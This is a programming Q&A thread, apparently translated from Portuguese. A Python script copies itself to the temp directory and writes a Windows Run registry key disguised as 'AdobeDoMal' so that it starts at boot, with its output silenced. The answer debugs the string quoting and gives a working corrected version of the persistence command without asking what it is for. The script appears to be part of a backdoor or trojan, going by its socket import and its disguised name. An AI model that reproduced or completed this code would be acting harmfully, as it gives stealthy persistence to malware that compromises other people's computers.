Changing key in the Windows registry 10

2

The code below is giving "Registry Error", that is, it does not create the key in the Windows registry. Does anyone have an idea how to solve it?

import socket
import time
import subprocess #Executar comandos do SO
import tempfile  #pegar o tmp do SO
import os #rodar comandos do SO

FILENAME ='ED5.py'
TMPDIR  = tempfile.gettempdir()        #varia de acordo com a versao do windows

def autorun():
    try:
        os.system("copy " + FILENAME + " " + TMPDIR)#se fosse linux, usaria cp em vez de copy
    except:
        print("Erro na copia")

    try:
        ####criar a chave de registro
        FNULL = open(os.devnull, 'w')
        subprocess.Popen("REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
                         " /v AdobeDoMal /d " + TMPDIR + "\" + FILENAME, stdout=FNULL, stderr=FNULL) #key para programas de 64 bits
    except:
        print("Erro no registro")

autorun()
    
asked by anonymous 03.08.2016 / 18:37

1 answer

2

You have two quotation marks " more:

subprocess.Popen(
"REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
                                                                      ----------^
" /v AdobeDoMal /d " + TEMPDIR + "\" + FILENAME, stdout=FNULL, stderr=FNULL)
^---------

Leave the line above like this:

subprocess.Popen(
"REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v AdobeDoMal /d " + TMPDIR + "\" + FILENAME, stdout=FNULL, stderr=FNULL)

If you prefer to format the string , use str.format() :

import subprocess, tempfile

arquivo = "ED5.py"
tmpDir = tempfile.gettempdir()

programa = "AdobedoMal"
chave = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

linha = "REG ADD {0} /t REG_SZ /v {1} /d {2}\{3}".format(chave, programa, tmpDir, arquivo)

try:
    subprocess.Popen(linha, stdout=FNULL, stderr=FNULL)
except:
    print("Erro no registro")
    
03.08.2016 / 20:16